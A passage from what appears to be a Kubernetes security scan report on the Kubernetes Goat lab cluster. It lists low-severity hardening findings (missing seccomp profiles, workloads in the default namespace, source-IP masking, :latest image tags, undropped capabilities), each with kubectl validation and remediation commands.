Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Job batch-check-job -n default | grep -i seccomp
kubectl get Job batch-check-job -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/system-monitor-deployment ยท default container
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment system-monitor-deployment -n default | grep -i seccomp
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/local-path-provisioner ยท local-path-storage container
โ€บ

Container 'local-path-provisioner' in Deployment 'local-path-provisioner' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -i seccomp
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/kubernetes-goat-home-deployment ยท default container
โ€บ

Container 'kubernetes-goat-home' in Deployment 'kubernetes-goat-home-deployment' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep -i seccomp
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Pod/k8scan-go ยท default container
โ€บ

Container k8scan-go in pod k8scan-go does not use seccompProfile.type: RuntimeDefault

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level
# VALIDATION: Check Seccomp Profile

kubectl describe Pod k8scan-go -n default | grep -i seccomp
kubectl get Pod k8scan-go -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/cache-store-deployment ยท secure-middleware container
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -i seccomp
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/hunger-check-deployment ยท big-monolith container
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -i seccomp
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/metadata-db ยท default container
โ€บ

Container 'metadata-db' in Deployment 'metadata-db' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment metadata-db -n default | grep -i seccomp
kubectl get Deployment metadata-db -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/poor-registry-deployment ยท default container
โ€บ

Container 'poor-registry' in Deployment 'poor-registry-deployment' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment poor-registry-deployment -n default | grep -i seccomp
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Job/hidden-in-layers ยท default container
โ€บ

Container 'hidden-in-layers' in Job 'hidden-in-layers' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Job hidden-in-layers -n default | grep -i seccomp
kubectl get Job hidden-in-layers -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/internal-proxy-deployment ยท default container
โ€บ

Container 'internal-api' in Deployment 'internal-proxy-deployment' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment internal-proxy-deployment -n default | grep -i seccomp
kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/health-check-deployment ยท default container
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment health-check-deployment -n default | grep -i seccomp
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Deployment/build-code-deployment ยท default container
โ€บ

Container 'build-code' in Deployment 'build-code-deployment' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

Add securityContext.seccompProfile.type: RuntimeDefault at pod or container level.
# VALIDATION: Check Seccomp Profile

kubectl describe Deployment build-code-deployment -n default | grep -i seccomp
kubectl get Deployment build-code-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)
๐Ÿ”ต LOW
Workload Running in Default NamespaceCIS 5.7.4 ยท L1 Deployment/kubernetes-goat-home-deployment ยท default workload
โ€บ

Deployment 'kubernetes-goat-home-deployment' runs in the 'default' namespace. Production workloads should use dedicated namespaces for isolation and network policy enforcement.

LOW - Workload in default namespace bypasses namespace-level isolation; NetworkPolicies and RBAC are harder to scope; increases blast radius of any pod compromise

Move workloads to a dedicated namespace with appropriate RBAC and NetworkPolicies. Avoid deploying applications to 'default'.
  • Default namespace has no network isolation โ€” all pods can communicate without NetworkPolicy
  • Default namespace RBAC is often overly permissive (default SA may have broad access)
  • No namespace-scoped ResourceQuota or LimitRange typically enforced in default
  • Incident response harder โ€” default mixes app and system context
  1. Compromised pod in default namespace can reach all other pods in default namespace
  2. Default service account in default namespace may have unexpected RBAC permissions
  3. No NetworkPolicy in default namespace = unrestricted lateral movement to any pod
  4. Result: blast radius of any compromise extends to all workloads in default namespace
# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)
๐Ÿ”ต LOW
Workload Running in Default NamespaceCIS 5.7.4 ยท L1 Deployment/system-monitor-deployment ยท default workload
โ€บ

Deployment 'system-monitor-deployment' runs in the 'default' namespace. Production workloads should use dedicated namespaces for isolation and network policy enforcement.

LOW - Workload in default namespace bypasses namespace-level isolation; NetworkPolicies and RBAC are harder to scope; increases blast radius of any pod compromise

Move workloads to a dedicated namespace with appropriate RBAC and NetworkPolicies. Avoid deploying applications to 'default'.
  • Default namespace has no network isolation โ€” all pods can communicate without NetworkPolicy
  • Default namespace RBAC is often overly permissive (default SA may have broad access)
  • No namespace-scoped ResourceQuota or LimitRange typically enforced in default
  • Incident response harder โ€” default mixes app and system context
  1. Compromised pod in default namespace can reach all other pods in default namespace
  2. Default service account in default namespace may have unexpected RBAC permissions
  3. No NetworkPolicy in default namespace = unrestricted lateral movement to any pod
  4. Result: blast radius of any compromise extends to all workloads in default namespace
# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)
๐Ÿ”ต LOW
Workload Running in Default NamespaceCIS 5.7.4 ยท L1 Deployment/health-check-deployment ยท default workload
โ€บ

Deployment 'health-check-deployment' runs in the 'default' namespace. Production workloads should use dedicated namespaces for isolation and network policy enforcement.

LOW - Workload in default namespace bypasses namespace-level isolation; NetworkPolicies and RBAC are harder to scope; increases blast radius of any pod compromise

Move workloads to a dedicated namespace with appropriate RBAC and NetworkPolicies. Avoid deploying applications to 'default'.
  • Default namespace has no network isolation โ€” all pods can communicate without NetworkPolicy
  • Default namespace RBAC is often overly permissive (default SA may have broad access)
  • No namespace-scoped ResourceQuota or LimitRange typically enforced in default
  • Incident response harder โ€” default mixes app and system context
  1. Compromised pod in default namespace can reach all other pods in default namespace
  2. Default service account in default namespace may have unexpected RBAC permissions
  3. No NetworkPolicy in default namespace = unrestricted lateral movement to any pod
  4. Result: blast radius of any compromise extends to all workloads in default namespace
# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)
๐Ÿ”ต LOW
Workload Running in Default NamespaceCIS 5.7.4 ยท L1 Deployment/build-code-deployment ยท default workload
โ€บ

Deployment 'build-code-deployment' runs in the 'default' namespace. Production workloads should use dedicated namespaces for isolation and network policy enforcement.

LOW - Workload in default namespace bypasses namespace-level isolation; NetworkPolicies and RBAC are harder to scope; increases blast radius of any pod compromise

Move workloads to a dedicated namespace with appropriate RBAC and NetworkPolicies. Avoid deploying applications to 'default'.
  • Default namespace has no network isolation โ€” all pods can communicate without NetworkPolicy
  • Default namespace RBAC is often overly permissive (default SA may have broad access)
  • No namespace-scoped ResourceQuota or LimitRange typically enforced in default
  • Incident response harder โ€” default mixes app and system context
  1. Compromised pod in default namespace can reach all other pods in default namespace
  2. Default service account in default namespace may have unexpected RBAC permissions
  3. No NetworkPolicy in default namespace = unrestricted lateral movement to any pod
  4. Result: blast radius of any compromise extends to all workloads in default namespace
# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)
๐Ÿ”ต LOW
Workload Running in Default NamespaceCIS 5.7.4 ยท L1 Deployment/poor-registry-deployment ยท default workload
โ€บ

Deployment 'poor-registry-deployment' runs in the 'default' namespace. Production workloads should use dedicated namespaces for isolation and network policy enforcement.

LOW - Workload in default namespace bypasses namespace-level isolation; NetworkPolicies and RBAC are harder to scope; increases blast radius of any pod compromise

Move workloads to a dedicated namespace with appropriate RBAC and NetworkPolicies. Avoid deploying applications to 'default'.
  • Default namespace has no network isolation โ€” all pods can communicate without NetworkPolicy
  • Default namespace RBAC is often overly permissive (default SA may have broad access)
  • No namespace-scoped ResourceQuota or LimitRange typically enforced in default
  • Incident response harder โ€” default mixes app and system context
  1. Compromised pod in default namespace can reach all other pods in default namespace
  2. Default service account in default namespace may have unexpected RBAC permissions
  3. No NetworkPolicy in default namespace = unrestricted lateral movement to any pod
  4. Result: blast radius of any compromise extends to all workloads in default namespace
# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)
๐Ÿ”ต LOW
Workload Running in Default NamespaceCIS 5.7.4 ยท L1 Deployment/internal-proxy-deployment ยท default workload
โ€บ

Deployment 'internal-proxy-deployment' runs in the 'default' namespace. Production workloads should use dedicated namespaces for isolation and network policy enforcement.

LOW - Workload in default namespace bypasses namespace-level isolation; NetworkPolicies and RBAC are harder to scope; increases blast radius of any pod compromise

Move workloads to a dedicated namespace with appropriate RBAC and NetworkPolicies. Avoid deploying applications to 'default'.
  • Default namespace has no network isolation โ€” all pods can communicate without NetworkPolicy
  • Default namespace RBAC is often overly permissive (default SA may have broad access)
  • No namespace-scoped ResourceQuota or LimitRange typically enforced in default
  • Incident response harder โ€” default mixes app and system context
  1. Compromised pod in default namespace can reach all other pods in default namespace
  2. Default service account in default namespace may have unexpected RBAC permissions
  3. No NetworkPolicy in default namespace = unrestricted lateral movement to any pod
  4. Result: blast radius of any compromise extends to all workloads in default namespace
# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)
๐Ÿ”ต LOW
Workload Running in Default NamespaceCIS 5.7.4 ยท L1 Deployment/metadata-db ยท default workload
โ€บ

Deployment 'metadata-db' runs in the 'default' namespace. Production workloads should use dedicated namespaces for isolation and network policy enforcement.

LOW - Workload in default namespace bypasses namespace-level isolation; NetworkPolicies and RBAC are harder to scope; increases blast radius of any pod compromise

Move workloads to a dedicated namespace with appropriate RBAC and NetworkPolicies. Avoid deploying applications to 'default'.
  • Default namespace has no network isolation โ€” all pods can communicate without NetworkPolicy
  • Default namespace RBAC is often overly permissive (default SA may have broad access)
  • No namespace-scoped ResourceQuota or LimitRange typically enforced in default
  • Incident response harder โ€” default mixes app and system context
  1. Compromised pod in default namespace can reach all other pods in default namespace
  2. Default service account in default namespace may have unexpected RBAC permissions
  3. No NetworkPolicy in default namespace = unrestricted lateral movement to any pod
  4. Result: blast radius of any compromise extends to all workloads in default namespace
# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)
๐Ÿ”ต LOW
externalTrafficPolicy: Cluster Loses Source IP Service/internal-proxy-info-app-service ยท default network
โ€บ

Service 'internal-proxy-info-app-service' uses externalTrafficPolicy: Cluster (default) โ€” the original client IP is SNAT'd to a node IP. Access logs, IP-based rate limiting, and geo-blocking cannot see the real client.

LOW - externalTrafficPolicy: Cluster masks the real client IP via SNAT; IP-based security controls, rate limiting, and audit logs are ineffective

Set externalTrafficPolicy: Local to preserve the source IP. Note: this may cause uneven load distribution โ€” ensure readinessProbes are configured.
  • externalTrafficPolicy: Cluster causes SNAT โ€” real client IP is hidden from pods
  • Application cannot perform IP-based rate limiting or geo-blocking
  • Firewall rules based on client IP are ineffective
  • Security audit logs show cluster-internal IP instead of attacker's real IP
  1. Attacker makes requests to LoadBalancer service
  2. Source IP is replaced with node IP due to SNAT in Cluster mode
  3. Application's IP-based blocklist never blocks attacker's real IP
  4. Rate limits apply to node IPs โ€” all traffic from a node is rate-limited together
  5. Result: IP-based security controls are bypassed; attacker anonymized behind node IPs
# LOW: externalTrafficPolicy: Cluster - Source IP Masking

# Verify the policy
kubectl get svc internal-proxy-info-app-service -n default \
  -o jsonpath='{.spec.externalTrafficPolicy}'
# Cluster = VULNERABLE (source IP lost via SNAT)

# Confirm source IP masking โ€” check application logs when accessing externally
EXTERNAL_IP=$(kubectl get svc internal-proxy-info-app-service -n default \
  -o jsonpath='{.status.loadBalancer.ingress[0].ip}')
curl http://$EXTERNAL_IP/
kubectl logs -n default -l app=internal-proxy-info-app-service --tail=5 | grep -i "ip\|remote\|client"
# Log shows internal node IP, not your actual IP

# REMEDIATION:
kubectl patch svc internal-proxy-info-app-service -n default \
  -p '{"spec":{"externalTrafficPolicy":"Local"}}'
โšช INFO
Image Using Latest Tag Deployment/health-check-deployment ยท default workload
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' uses image 'madhuakula/k8s-goat-health-check' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment health-check-deployment -n default -o yaml | grep image:
kubectl describe Deployment health-check-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Deployment/internal-proxy-deployment ยท default workload
โ€บ

Container 'internal-api' in Deployment 'internal-proxy-deployment' uses image 'madhuakula/k8s-goat-internal-api' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep image:
kubectl describe Deployment internal-proxy-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Job/hidden-in-layers ยท default workload
โ€บ

Container 'hidden-in-layers' in Job 'hidden-in-layers' uses image 'madhuakula/k8s-goat-hidden-in-layers' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Job hidden-in-layers -n default -o yaml | grep image:
kubectl describe Job hidden-in-layers -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Deployment/hunger-check-deployment ยท big-monolith workload
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' uses image 'madhuakula/k8s-goat-hunger-check' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep image:
kubectl describe Deployment hunger-check-deployment -n big-monolith | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Deployment/kubernetes-goat-home-deployment ยท default workload
โ€บ

Container 'kubernetes-goat-home' in Deployment 'kubernetes-goat-home-deployment' uses image 'madhuakula/k8s-goat-home' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep image:
kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Job/batch-check-job ยท default workload
โ€บ

Container 'batch-check' in Job 'batch-check-job' uses image 'madhuakula/k8s-goat-batch-check' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Job batch-check-job -n default -o yaml | grep image:
kubectl describe Job batch-check-job -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Deployment/system-monitor-deployment ยท default workload
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' uses image 'madhuakula/k8s-goat-system-monitor' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment system-monitor-deployment -n default -o yaml | grep image:
kubectl describe Deployment system-monitor-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Deployment/poor-registry-deployment ยท default workload
โ€บ

Container 'poor-registry' in Deployment 'poor-registry-deployment' uses image 'madhuakula/k8s-goat-poor-registry' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment poor-registry-deployment -n default -o yaml | grep image:
kubectl describe Deployment poor-registry-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Deployment/cache-store-deployment ยท secure-middleware workload
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' uses image 'madhuakula/k8s-goat-cache-store' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep image:
kubectl describe Deployment cache-store-deployment -n secure-middleware | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Pod/k8scan-go ยท default image
โ€บ

Container k8scan-go in pod k8scan-go uses :latest tag or no tag โ€” unpredictable

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Use specific image tags (e.g., nginx:1.21.0) instead of :latest
# VALIDATION: Check Image Tags for :latest

kubectl get Pod k8scan-go -n default -o yaml | grep image:
kubectl describe Pod k8scan-go -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Deployment/build-code-deployment ยท default workload
โ€บ

Container 'build-code' in Deployment 'build-code-deployment' uses image 'madhuakula/k8s-goat-build-code' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment build-code-deployment -n default -o yaml | grep image:
kubectl describe Deployment build-code-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Image Using Latest Tag Deployment/metadata-db ยท default workload
โ€บ

Container 'metadata-db' in Deployment 'metadata-db' uses image 'madhuakula/k8s-goat-metadata-db:latest' โ€” unpredictable deployments.

INFO - Unpredictable deployments, no version pinning; latest tag may pull a different image on each restart

Pin image to a specific version tag.
# VALIDATION: Check Image Tags for :latest

kubectl get Deployment metadata-db -n default -o yaml | grep image:
kubectl describe Deployment metadata-db -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/health-check-deployment ยท default container
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment health-check-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/kubernetes-goat-home-deployment ยท default container
โ€บ

Container 'kubernetes-goat-home' in Deployment 'kubernetes-goat-home-deployment' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Job/batch-check-job ยท default container
โ€บ

Container 'batch-check' in Job 'batch-check-job' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Job batch-check-job -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/local-path-provisioner ยท local-path-storage container
โ€บ

Container 'local-path-provisioner' in Deployment 'local-path-provisioner' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Job/hidden-in-layers ยท default container
โ€บ

Container 'hidden-in-layers' in Job 'hidden-in-layers' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Job hidden-in-layers -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/system-monitor-deployment ยท default container
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/hunger-check-deployment ยท big-monolith container
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/poor-registry-deployment ยท default container
โ€บ

